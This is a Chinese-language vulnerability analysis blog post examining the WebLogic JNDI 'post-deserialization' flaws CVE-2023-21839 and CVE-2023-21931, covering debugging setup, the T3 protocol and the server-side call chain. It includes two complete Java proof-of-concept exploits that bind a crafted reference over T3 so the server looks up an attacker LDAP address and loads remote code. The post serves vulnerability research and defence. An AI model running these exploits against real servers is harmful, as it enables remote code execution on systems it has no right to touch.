Weblogic后反序列化分析
STATEMENT
声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。
雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
前言
从来没有碰过weblogic,第一次分析踩了不少坑,不懂的地方也很多。如果哪里理解错了请多多指点。
如下提到漏洞官发均已完成修复。
环境部署-远程调试
这里踩了一个坑记录一下
当从官网安装weblogic的时候最好安装12c的,因为14.1.1的没有wljarbuilder.jar这个包,也就无法生成wlfullclient.jar,虽然不影响运行时调试,但是一堆包需要导入,而且很难跟随DeBug模式定位源代码
weblogic安装之后,在目录C:\Oracle\Middleware\Oracle_Home\wlserver\server中找到wljarbuilder.jar,并运行命令
java -jar wljarbuilder.jar
将生成的wljarbuilder.jar复制到IDEA新建的项目中,并添加为库
然后在weblogic的C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\bin目录找到startWebLogic.cmd文件,在文件头添加开启调试命令
set JAVA_OPTIONS=-Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,address=9999,server=y,suspend=n
然后运行C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain的startWebLogic.cmd文件
在IDEA中开启远程调试模式,并且填入对应的IP与前面startWebLogic.cmd中的调试端口,我这里是在虚拟机中部署的,所以填的不是本地IP
T3协议
简单描述一下T3协议
使用wireshark捕获一下数据包
可以看到红色部分是由客户端发送自己的版本信息,蓝色部分为服务端返回自己的版本信息
CVE-2023-21839
查看POC
import weblogic.deployment.jms.ForeignOpaqueReference;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.lang.reflect.Field;
import java.util.Hashtable;
public class Main {
static String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";
private static InitialContext getInitialContext(String url) throws NamingException {
Hashtable<String,String> env = new Hashtable<String,String>();
env.put(Context.INITIAL_CONTEXT_FACTORY,JNDI_FACTORY);
env.put(Context.PROVIDER_URL,url);
return new InitialContext(env);
}
public static void main(String[] args) throws Exception {
InitialContext c = getInitialContext("t3://xx.xx.xx.xx:7001");
Hashtable<String,String> env = new Hashtable<String,String>();
env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
ForeignOpaqueReference f = new ForeignOpaqueReference();
Field jndiEnvironment = ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
jndiEnvironment.setAccessible(true);
jndiEnvironment.set(f,env);
Field remoteJNDIName = ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");
remoteJNDIName.setAccessible(true);
remoteJNDIName.set(f,"ldap://xx.xx.xx.xx:1389/exp");
c.bind("sss",f);
c.lookup("sss");
}
}
此漏洞为后反序列化,bind之后不会触发漏洞,当执行lookup方法之后才会触发漏洞
漏洞点分析
先看文章中说的漏洞代码由weblogic/jndi/internal/WLNamingManager.getObjectInstance当boundObject是OpaqueReference对象或者子类的对象这个条件的时候会调用这个boundObject的getReferent方法
解释一下instanceof的用法:instanceof是Java中的二元运算符,左边是对象,右边是类;当对象是右边类或子类所创建对象时,返回true;否则,返回false。
weblogic/deployment/jms/ForeignOpaqueReference正好满足这个条件,它的getReferent方法,通过构造jndiEnvironment来让代码执行到lookup函数
其实这里我发现不论jndiEnvironment是否为null都可以走到lookup方法,都可以造成命令执行,但是后面会报错。但是为什么要将值设为com.sun.jndi.rmi.registry.RegistryContextFactory我没在代码中看到,直接就报错了,有懂的大佬可以跟我说一下。
现在可以搞清楚漏洞类是怎么构造的了,通过反射将ForeignOpaqueReference的成员变量jndiEnvironment与remoteJNDIName进行赋值,然后用bind方法发送
如何寻找利用类
在weblogic文档中可以看到解释
POC中也和示例代码一样实现的,利用WLInitialContextFactory找到上下文中传递的漏洞类
动态调试分析
在weblogic/jndi/internal/WLNamingManager.getObjectInstance下断点
目前分析结果是weblogic/rmi/internal/BasicServerRef.invoke方法导致的,当他调用invoke方法时候,会调用md的lookup方法,此处应该由POC调用lookup之后导致的
接着向下,weblogic/jndi/internal/RootNamingNode_WLSkel.invoke可以看到调用了lookup方法
后面就是一路向下,走到了weblogic/jndi/internal/BasicNamingNode.lookup方法,里面调用了resolveObject,然后达到利用链。
CVE-2023-21931
CVE-2023-21931与上面的CVE-2023-21839大同小异,只不过21839在ForeignOpaqueReference.getReferent中调用lookup方法,而21931直接在WLNamingManager.getObjectInstance调用lookup方法,走的判断条件不一样而已。
21931是当满足(boundObject instanceof LinkRef)为真的条件时会直接调用lookup
这里直接参照21839去写POC了
import javax.naming.*;
import javax.naming.Context;
import java.util.Hashtable;
public class Main {
//使其找到ForeignOpaqueReference类
static String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";
private static InitialContext getInitialContext(String url) throws NamingException {
Hashtable<String,String> env = new Hashtable<String,String>();
env.put(Context.INITIAL_CONTEXT_FACTORY,JNDI_FACTORY);
env.put(Context.PROVIDER_URL,url);
return new InitialContext(env);
}
public static void main(String[] args) throws Exception {
CVE_2023_21931_POC();
}
public static void CVE_2023_21931_POC() throws Exception {
InitialContext c = getInitialContext("t3://xx.xx.xx.xx:7001");
LinkRef r = new LinkRef("ldap://xx.xx.xx.xx:1389/exp");
c.bind("xxx",r);
c.lookup("xxx");
}
}
由于是获取他的linkName传入lookup的,所以直接在构造函数中写入linkName为恶意类加载地址
成功通过if判断并执行lookup函数。
参考
weblogic 12.2.1.3api文档:
https://docs.oracle.com/html/E80373_03/
https://mp.weixin.qq.com/s/BXJYjt92J5WFMYw2oG9tGQ
https://www.freebuf.com/vuls/361370.html
http://rui0.cn/archives/1338
https://github.com/Ruil1n/after-deserialization-attack
http://drops.xmd5.com/static/drops/web-13470.html
安恒信息
✦
杭州亚运会网络安全服务官方合作伙伴
成都大运会网络信息安全类官方赞助商
武汉军运会、北京一带一路峰会
青岛上合峰会、上海进博会
厦门金砖峰会、G20杭州峰会
支撑单位北京奥运会等近百场国家级
重大活动网络安保支撑单位
END
长按识别二维码关注我们